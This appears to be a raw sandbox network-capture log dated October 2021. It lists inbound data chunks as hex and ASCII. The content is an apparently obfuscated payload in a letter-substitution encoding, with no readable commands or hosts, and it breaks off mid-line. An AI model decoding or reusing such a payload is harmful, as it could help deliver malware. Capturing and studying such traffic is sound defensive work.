2021-10-29 18:10:39 UTC	1125	IN	Data Raw: 20 4f 20 71 71 71 20 4f 20 58 4a 20 4f 20 44 58 20 4f 20 71 4f 4f 20 4f 20 57 44 20 4f 20 45 71 20 4f 20 45 6d 20 4f 20 45 6d 20 4f 20 58 44 20 4f 20 57 45 20 4f 20 44 58 20 4f 20 57 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 44 58 20 4f 20 71 71 6d 20 4f 20 4d 45 20 4f 20 71 4f 6d 20 4f 20 71 4f 44 20 4f 20 58 44 20 4f 20 71 4f 6d 20 4f 20 6d 58 20 4f 20 71 71 4d 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 71 20 4f 20 57 4a 20 4f 20 45 70 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 44 58 20 4f 20 44 45 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 45 4a 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 4a 20 4f Data Ascii: O qqq O XJ O DX O qOO O WD O Eq O Em O Em O XD O WE O DX O Wm O qOq O qOm O qOJ O DX O qqm O ME O qOm O qOD O XD O qOm O mX O qqM O Ep O DX O DW O Xq O DW O DD O qqq O WJ O Ep O DD O MO O DX O DE O DE O DW O XE O DW O qqM O EJ O qqM O XM O DX O XD O XJ O
2021-10-29 18:10:39 UTC	1128	IN	Data Raw: 44 58 20 4f 20 6d 58 20 4f 20 4d 58 20 4f 20 71 71 57 20 4f 20 57 44 20 4f 20 6d 58 20 4f 20 4d 4f 20 4f 20 71 4f 71 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 4d 45 20 4f 20 45 6d 20 4f 20 44 4d 20 4f 20 71 71 58 20 4f 20 58 71 20 4f 20 45 44 20 4f 20 71 4f 4f 20 4f 20 6d 4d 20 4f 20 71 71 70 20 4f 20 4d 4d 20 4f 20 45 57 20 4f 20 71 4f 45 20 4f 20 44 4d 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 45 58 20 4f 20 4d 58 20 4f 20 6d 58 20 4f 20 57 6d 20 4f 20 6d 70 20 4f 20 71 4f 4a 20 4f 20 57 71 20 4f 20 45 4f 20 4f 20 4d 4f 20 4f 20 58 57 20 4f 20 71 4a 4a 20 4f 20 71 71 4d 20 4f 20 57 6d 20 4f 20 45 71 20 4f 20 44 58 20 4f 20 45 57 20 4f 20 45 44 20 4f 20 71 4f 4a 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 6d 70 20 4f 20 58 70 20 4f 20 58 57 20 4f 20 57 45 20 4f Data Ascii: DX O mX O MX O qqW O WD O mX O MO O qOq O Xq O DM O ME O Em O DM O qqX O Xq O ED O qOO O mM O qqp O MM O EW O qOE O DM O Wm O mE O EX O MX O mX O Wm O mp O qOJ O Wq O EO O MO O XW O qJJ O qqM O Wm O Eq O DX O EW O ED O qOJ O qOq O ED O mp O Xp O XW O WE O
2021-10-29 18:10:39 UTC	1133	IN	Data Raw: 4d 45 20 4f 20 58 45 20 4f 20 71 4f 4f 20 4f 20 71 71 45 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 57 70 20 4f 20 71 71 4f 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 45 58 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 57 6d 20 4f 20 44 45 20 4f 20 71 71 4f 20 4f 20 45 45 20 4f 20 45 45 20 4f 20 71 4f 6d 20 4f 20 57 45 20 4f 20 71 4f 58 20 4f 20 45 45 20 4f 20 57 4f 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 58 4f 20 4f 20 71 71 70 20 4f 20 71 4f 4a 20 4f 20 57 4f 20 4f 20 58 4d 20 4f 20 4d 58 20 4f 20 71 71 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 44 44 20 4f 20 71 4f 70 20 4f 20 71 4f 58 20 4f 20 71 4f 70 20 4f 20 71 4f 6d 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20 4f 20 44 44 Data Ascii: ME O XE O qOO O qqE O ME O XE O Wp O qqO O Ep O DM O EX O DD O DW O qOm O DM O DW O WE O Wm O DE O qqO O EE O EE O qOm O WE O qOX O EE O WO O DX O DW O qqE O XO O qqp O qOJ O WO O XM O MX O qqD O qJJ O DW O EX O DD O qOp O qOX O qOp O qOm O qOE O qOp O DD
2021-10-29 18:10:39 UTC	1137	IN	Data Raw: 45 20 4f 20 71 4f 45 20 4f 20 57 71 20 4f 20 71 71 45 20 4f 20 71 4a 4a 20 4f 20 6d 70 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 58 4a 20 4f 20 58 4f 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20 4f 20 71 4a 4a 20 4f 20 6d 70 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 57 4f 20 4f 20 57 4a 20 4f 20 58 71 20 4f 20 45 6d 20 4f 20 71 71 6d 20 4f 20 45 4a 20 4f 20 58 6d 20 4f 20 4d 45 20 4f 20 45 71 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 58 4d 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 71 71 57 20 4f 20 58 4a 20 4f 20 71 71 58 20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f 20 58 4f 20 4f 20 45 45 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 71 4a 71 20 4f 20 45 45 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 45 45 20 4f 20 44 Data Ascii: E O qOE O Wq O qqE O qJJ O mp O WD O DW O qOm O XJ O XO O qOE O qOp O qJJ O mp O DD O DW O WO O WJ O Xq O Em O qqm O EJ O Xm O ME O Eq O Eq O XW O WJ O XO O XM O qqW O Xq O qqW O XJ O qqX O qJO O qOp O XO O EE O qOD O DW O qJq O EE O DX O DW O WJ O EE O D
2021-10-29 18:10:39 UTC	1141	IN	Data Raw: 71 4f 4d 20 4f 20 58 4a 20 4f 20 71 4f 70 20 4f 20 45 4a 20 4f 20 71 4f 58 20 4f 20 58 4a 20 4f 20 45 44 20 4f 20 45 58 20 4f 20 71 4f 4d 20 4f 20 45 57 20 4f 20 71 71 44 20 4f 20 57 44 20 4f 20 44 4d 20 4f 20 45 44 20 4f 20 71 4f 4d 20 4f 20 71 71 6d 20 4f 20 71 71 71 20 4f 20 45 57 20 4f 20 71 4f 57 20 4f 20 71 71 57 20 4f 20 6d 4d 20 4f 20 71 4f 4d 20 4f 20 58 6d 20 4f 20 71 71 4d 20 4f 20 45 4d 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 57 20 4f 20 71 71 4d 20 4f 20 71 4a 71 20 4f 20 71 71 70 20 4f 20 71 71 45 20 4f 20 57 45 20 4f 20 57 4f 20 4f 20 57 44 20 4f 20 44 44 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 71 4f 58 20 4f 20 57 57 20 4f 20 57 44 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 71 4a 4a 20 4f 20 71 4f 57 20 4f 20 58 4a 20 4f Data Ascii: qOM O XJ O qOp O EJ O qOX O XJ O ED O EX O qOM O EW O qqD O WD O DM O ED O qOM O qqm O qqq O EW O qOW O qqW O mM O qOM O Xm O qqM O EM O ED O DW O MX O qqW O qqM O qJq O qqp O qqE O WE O WO O WD O DD O XO O DM O qOX O WW O WD O DE O qqW O qJJ O qOW O XJ O
2021-10-29 18:10:39 UTC	1145	IN	Data Raw: 20 44 45 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45 45 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 57 70 20 4f 20 45 45 20 4f 20 44 58 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 45 58 20 4f 20 58 71 20 4f 20 58 4d 20 4f 20 45 45 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 71 20 4f 20 45 45 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45 45 20 4f 20 44 45 20 Data Ascii: DE O DE O qqW O Eq O DW O Xq O XW O EO O DD O qqM O EE O Ep O EE O DM O DW O Eq O DW O mM O XW O qOO O Ep O DW O Xq O Wp O EE O DX O MM O qqM O EX O Xq O XM O EE O EW O qqM O XM O DD O DD O DW O Eq O qJq O EE O Xq O DM O DE O DW O Xq O EE O Ep O EE O DE
2021-10-29 18:10:39 UTC	1149	IN	Data Raw: 4f 70 20 4f 20 45 4d 20 4f 20 57 4a 20 4f 20 58 44 20 4f 20 71 4f 4d 20 4f 20 58 44 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 71 71 58 20 4f 20 45 4a 20 4f 20 71 4a 4f 20 4f 20 71 71 6d 20 4f 20 6d 4d 20 4f 20 57 44 20 4f 20 4d 4f 20 4f 20 71 71 45 20 4f 20 71 71 4d 20 4f 20 71 71 71 20 4f 20 58 70 20 4f 20 71 4f 4f 20 4f 20 57 45 20 4f 20 71 71 57 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 58 4d 20 4f 20 71 71 44 20 4f 20 71 71 4f 20 4f 20 45 4f 20 4f 20 71 4f 70 20 4f 20 58 6d 20 4f 20 71 4f 58 20 4f 20 45 57 20 4f 20 71 4f 4d 20 4f 20 45 71 20 4f 20 6d 45 20 4f 20 44 4d 20 4f 20 58 44 20 4f 20 58 70 20 4f 20 71 71 71 20 4f 20 71 4f 57 20 4f 20 71 4f 6d 20 4f 20 71 71 44 20 4f 20 71 4f 4a 20 4f 20 57 71 20 4f Data Ascii: Op O EM O WJ O XD O qOM O XD O Ep O DX O qqX O EJ O qJO O qqm O mM O WD O MO O qqE O qqM O qqq O Xp O qOO O WE O qqW O qqE O MM O ED O qJJ O mE O XM O qqD O qqO O EO O qOp O Xm O qOX O EW O qOM O Eq O mE O DM O XD O Xp O qqq O qOW O qOm O qqD O qOJ O Wq O
2021-10-29 18:10:39 UTC	1153	IN	Data Raw: 4a 4a 20 4f 20 57 6d 20 4f 20 44 57 20 4f 20 6d 70 20 4f 20 58 57 20 4f 20 6d 70 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 58 45 20 4f 20 71 71 57 20 4f 20 44 44 20 4f 20 57 4f 20 4f 20 6d 4d 20 4f 20 71 4f 6d 20 4f 20 71 71 71 20 4f 20 44 4d 20 4f 20 71 71 4a 20 4f 20 4d 4d 20 4f 20 57 70 20 4f 20 45 4a 20 4f 20 71 4f 70 20 4f 20 57 57 20 4f 20 58 58 20 4f 20 71 71 6d 20 4f 20 71 4a 4f 20 4f 20 45 45 20 4f 20 71 4a 4f 20 4f 20 45 6d 20 4f 20 45 58 20 4f 20 45 45 20 4f 20 71 71 58 20 4f 20 71 4a 4a 20 4f 20 58 4a 20 4f 20 58 45 20 4f 20 58 45 20 4f 20 57 70 20 4f 20 6d 70 20 4f 20 4d 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 45 20 4f 20 45 4f 20 4f 20 71 4f 57 20 4f 20 58 4d 20 4f 20 45 6d 20 4f 20 6d 70 20 4f 20 57 45 20 4f 20 58 57 20 4f 20 71 4a 71 20 4f 20 Data Ascii: JJ O Wm O DW O mp O XW O mp O mp O qJJ O XE O qqW O DD O WO O mM O qOm O qqq O DM O qqJ O MM O Wp O EJ O qOp O WW O XX O qqm O qJO O EE O qJO O Em O EX O EE O qqX O qJJ O XJ O XE O XE O Wp O mp O ME O qOO O qOE O EO O qOW O XM O Em O mp O WE O XW O qJq O
2021-10-29 18:10:39 UTC	1157	IN	Data Raw: 44 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 45 45 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 45 71 20 4f 20 44 45 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 4d 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 71 20 4f Data Ascii: DX O DW O Eq O DW O Xq O EJ O mE O DW O qOp O DM O DW O EE O DD O EE O Eq O DW O mM O XW O qOO O Em O Xq O Xq O EE O EE O DW O qqq O Eq O DE O DE O qqW O Eq O DW O Xq O XW O EO O DD O qqM O EE O Ep O EE O DD O DM O Eq O DW O mM O XW O qOO O Ep O DW O Xq O
2021-10-29 18:10:39 UTC	1160	IN	Data Raw: 20 4d 58 20 4f 20 71 4f 45 20 4f 20 71 71 57 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 4f 4d 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 4d 58 20 4f 20 71 4a 4a 20 4f 20 6d 4d 20 4f 20 71 4f 45 20 4f 20 71 71 44 20 4f 20 71 4f 71 20 4f 20 71 71 6d 20 4f 20 4d 45 20 4f 20 45 45 20 4f 20 71 71 6d 20 4f 20 58 71 20 4f 20 71 71 71 20 4f 20 71 71 71 20 4f 20 71 4f 6d 20 4f 20 71 4f 45 20 4f 20 71 71 58 20 4f 20 57 6d 20 4f 20 71 71 71 20 4f 20 4d 58 20 4f 20 6d 4d 20 4f 20 71 71 71 20 4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 45 71 20 4f 20 45 57 20 4f 20 44 44 20 4f 20 4d 4d 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 71 4f 71 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 71 71 58 20 4f 20 58 4d 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 71 4f 4f 20 4f 20 45 57 20 4f 20 6d 58 Data Ascii: MX O qOE O qqW O WD O XD O qOM O DD O qqX O MX O qJJ O mM O qOE O qqD O qOq O qqm O ME O EE O qqm O Xq O qqq O qqq O qOm O qOE O qqX O Wm O qqq O MX O mM O qqq O qOX O MM O Eq O EW O DD O MM O WO O EX O qOq O qqq O ED O qqX O XM O Wq O EX O qOO O EW O mX
2021-10-29 18:10:39 UTC	1165	IN	Data Raw: 20 4d 4d 20 4f 20 6d 4d 20 4f 20 71 4f 4a 20 4f 20 44 4d 20 4f 20 57 45 20 4f 20 45 71 20 4f 20 57 4f 20 4f 20 57 4f 20 4f 20 57 4f 20 4f 20 57 6d 20 4f 20 71 71 4d 20 4f 20 71 71 4d 20 4f 20 71 4f 57 20 4f 20 71 71 70 20 4f 20 45 4f 20 4f 20 71 4a 4f 20 4f 20 45 6d 20 4f 20 71 71 6d 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 58 70 20 4f 20 45 4d 20 4f 20 45 44 20 4f 20 71 71 4f 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 45 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 4d 58 20 4f 20 58 57 20 4f 20 4d 45 20 4f 20 4d 4d 20 4f 20 58 4a 20 4f 20 57 70 20 4f 20 71 4f 4f 20 4f 20 45 4d 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 4f 71 20 4f 20 45 57 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 58 4d 20 Data Ascii: MM O mM O qOJ O DM O WE O Eq O WO O WO O WO O Wm O qqM O qqM O qOW O qqp O EO O qJO O Em O qqm O qqX O qOO O Xp O EM O ED O qqO O DW O MO O EM O Xq O DW O qOO O MX O XW O ME O MM O XJ O Wp O qOO O EM O qqE O DW O XM O qOq O EW O mE O qOO O MM O qqO O XM
2021-10-29 18:10:39 UTC	1169	IN	Data Raw: 20 58 57 20 4f 20 57 44 20 4f 20 45 57 20 4f 20 6d 70 20 4f 20 45 57 20 4f 20 44 44 20 4f 20 57 70 20 4f 20 58 4d 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20 6d 58 20 4f 20 71 4f 70 20 4f 20 45 44 20 4f 20 45 71 20 4f 20 71 4f 6d 20 4f 20 71 4f 44 20 4f 20 57 45 20 4f 20 45 4f 20 4f 20 45 6d 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 20 58 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 70 20 4f 20 45 4a 20 4f 20 6d 4d 20 4f 20 71 71 45 20 4f 20 45 4a 20 4f 20 71 4f 4a 20 4f 20 71 71 58 20 4f 20 71 4a 71 20 4f 20 58 6d 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 71 4a 4a 20 4f 20 45 58 20 4f 20 6d 58 20 4f 20 4d 4f 20 4f 20 4d 45 20 4f 20 71 71 58 20 4f 20 58 4a 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 58 70 20 4f 20 71 4f 4a 20 Data Ascii: XW O WD O EW O mp O EW O DD O Wp O XM O qOD O qOO O mX O qOp O ED O Eq O qOm O qOD O WE O EO O Em O qqW O DW O qOE O XE O qOJ O qOp O EJ O mM O qqE O EJ O qOJ O qqX O qJq O Xm O MX O MX O qJJ O EX O mX O MO O ME O qqX O XJ O Eq O WJ O DE O DD O Xp O qOJ
2021-10-29 18:10:39 UTC	1173	IN	Data Raw: 4f 20 71 71 70 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 71 4f 58 20 4f 20 71 4f 4d 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 71 4a 4a 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 70 20 4f 20 71 4f 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 4f 58 20 4f 20 71 4f 6d 20 4f 20 71 4a 4a 20 4f 20 71 4f 44 20 4f 20 71 4f 6d 20 4f 20 71 4a 4f 20 4f 20 71 71 45 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4a 4a 20 4f 20 71 71 45 20 4f 20 71 4f 57 20 4f 20 4d 4d 20 4f 20 71 4a 4a 20 4f 20 71 71 70 20 4f 20 71 71 6d 20 4f 20 71 71 70 20 4f 20 4d 45 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f Data Ascii: O qqp O pE O qqO O pE O qqW O qOX O qOM O qOJ O qOJ O qJq O pE O qOO O pE O ME O qJJ O qOm O pE O qp O qO O pE O qqM O qOX O qOm O qJJ O qOD O qOm O qJO O qqE O qJJ O pE O qqW O pE O qJJ O qqE O qOW O MM O qJJ O qqp O qqm O qqp O ME O qqX O pE O MM O pE O
2021-10-29 18:10:39 UTC	1177	IN	Data Raw: 71 71 6d 20 4f 20 71 4f 6d 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 4d 58 20 4f 20 71 4f 58 20 4f 20 4d 58 20 4f 20 71 71 4a 20 4f 20 71 71 71 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 6d 20 4f 20 71 4f 57 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 71 6d 20 4f 20 71 71 44 20 4f 20 71 4f 70 20 4f 20 71 4f 44 20 4f 20 71 4f 44 20 4f 20 71 4f 4d 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20 4d 45 20 4f 20 71 4f 4a 20 4f 20 71 71 58 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 71 4f 4d 20 4f 20 71 4f 58 20 4f 20 71 4f 57 20 Data Ascii: qqm O qOm O qOm O pE O qqO O pE O qqq O MX O qOX O MX O qqJ O qqq O qOq O qOD O qqO O pE O qqW O pE O qOm O qOW O qOO O pE O qOq O pE O qqD O qqm O qqD O qOp O qOD O qOD O qOM O MX O qOD O qOO O ME O qOJ O qqX O qOJ O pE O pJ O pE O qOW O qOM O qOX O qOW
2021-10-29 18:10:39 UTC	1181	IN	Data Raw: 20 4f 20 71 4f 58 20 4f 20 71 71 57 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 70 20 4f 20 71 71 6d 20 4f 20 71 4f 71 20 4f 20 4d 4d 20 4f 20 71 71 44 20 4f 20 71 71 4f 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 71 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 71 70 20 4f 20 71 4f 71 20 4f 20 71 4a 71 20 4f 20 71 4f 6d 20 4f 20 71 71 4f 20 4f 20 71 4f 58 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 4d 58 20 4f 20 71 4f 58 20 4f 20 71 4a 4a 20 4f 20 71 71 4a 20 4f 20 71 4f 4d 20 4f 20 71 4f 44 20 4f 20 71 4f Data Ascii: O qOX O qqW O qJJ O pE O qqW O pE O qqp O qqm O qOq O MM O qqD O qqO O qOm O MM O pE O ME O pE O qqM O qqE O qJO O qOq O qOm O pE O MX O pE O qOO O qqp O qOq O qJq O qOm O qqO O qOX O qqJ O pE O qOX O pE O MX O qOM O MX O qOX O qJJ O qqJ O qOM O qOD O qO
2021-10-29 18:10:39 UTC	1185	IN	Data Raw: 4a 20 4f 20 71 4f 6d 20 4f 20 71 4f 45 20 4f 20 4d 58 20 4f 20 71 4f 4f 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20 71 71 45 20 4f 20 71 4f 57 20 4f 20 71 71 4f 20 4f 20 71 4f 4a 20 4f 20 71 4a 71 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 4f 71 20 4f 20 4d 58 20 4f 20 71 4f 6d 20 4f 20 71 4f 58 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 71 71 58 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 71 44 20 4f 20 71 4f 58 20 4f 20 71 71 4f 20 4f 20 71 71 70 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 71 4a 4a 20 4f 20 71 4f 57 20 4f 20 71 4f 6d 20 4f 20 71 71 Data Ascii: J O qOm O qOE O MX O qOO O MX O qOD O qqE O qOW O qqO O qOJ O qJq O MX O MX O pE O qOq O pE O qqD O qOq O MX O qOm O qOX O qJO O pE O qOO O pE O qqq O qqX O ME O pE O qOW O pE O qqD O qqD O qOX O qqO O qqp O pE O MM O pE O qOO O qqM O qJJ O qOW O qOm O qq
2021-10-29 18:10:39 UTC	1189	IN	Data Raw: 71 71 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 4f 4f 20 4f 20 71 4f 4d 20 4f 20 71 71 70 20 4f 20 71 71 44 20 4f 20 71 4f 4a 20 4f 20 4d 45 20 4f 20 4d 4d 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 71 71 71 20 4f 20 71 71 57 20 4f 20 71 4f 4f 20 4f 20 71 71 57 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 4d 58 20 4f 20 71 4f 45 20 4f 20 71 71 4d 20 4f 20 71 4a 4f 20 4f 20 71 4f 4d 20 4f 20 71 4f 4f 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 70 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 45 20 4f 20 71 4a 71 20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f 20 71 71 44 20 4f 20 71 4a 4a 20 4f 20 71 4a 4a Data Ascii: qq O qOO O qOq O qOm O qJO O pE O qOq O pE O qJq O qOO O qOM O qqp O qqD O qOJ O ME O MM O qqJ O pE O ME O pE O qqq O qqq O qqW O qOO O qqW O MX O qOM O MX O qOE O qqM O qJO O qOM O qOO O qqX O pE O qOX O pE O qJO O qOE O qJq O qJO O qOp O qqD O qJJ O qJJ
2021-10-29 18:10:39 UTC	1192	IN	Data Raw: 20 71 4f 71 20 4f 20 71 4f 45 20 4f 20 71 71 71 20 4f 20 71 4a 4a 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 71 4f 4d 20 4f 20 71 4a 71 20 4f 20 71 71 4a 20 4f 20 71 4f 6d 20 4f 20 71 4f 4f 20 4f 20 71 4a 4a 20 4f 20 71 71 71 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 44 71 20 4f 20 70 45 20 4f 20 71 4a 4f 20 4f 20 4d 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 4f 20 4f 20 71 71 45 20 4f 20 71 71 45 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 71 70 20 4f 20 71 4f 4d 20 4f 20 71 71 4a 20 4f 20 71 71 4d 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 70 20 4f 20 71 4f 6d 20 4f 20 71 4f 58 20 4f 20 71 4f 4d 20 4f 20 71 71 57 20 4f 20 4d 45 20 4f 20 71 4f 6d Data Ascii: qOq O qOE O qqq O qJJ O qqq O pE O qqD O pE O ME O qOM O qJq O qqJ O qOm O qOO O qJJ O qqq O qOq O pE O Dq O pE O qJO O ME O qJO O qOO O qqE O qqE O pE O pJ O pE O qqM O qqp O qOM O qqJ O qqM O qqX O pE O qOO O pE O qqp O qOm O qOX O qOM O qqW O ME O qOm
2021-10-29 18:10:39 UTC	1197	IN	Data Raw: 71 58 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 71 4f 70 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 4f 44 20 4f 20 71 71 4d 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 71 4f 58 20 4f 20 71 71 6d 20 4f 20 71 4a 71 20 4f 20 71 4f 4a 20 4f 20 71 71 4a 20 4f 20 71 71 71 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 70 20 4f 20 4d 58 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 71 71 57 20 4f 20 71 4f 58 20 4f 20 71 71 57 20 4f 20 71 4f 45 20 4f 20 4d 58 20 4f 20 71 71 4f 20 4f 20 71 71 6d 20 4f 20 70 45 20 Data Ascii: qX O 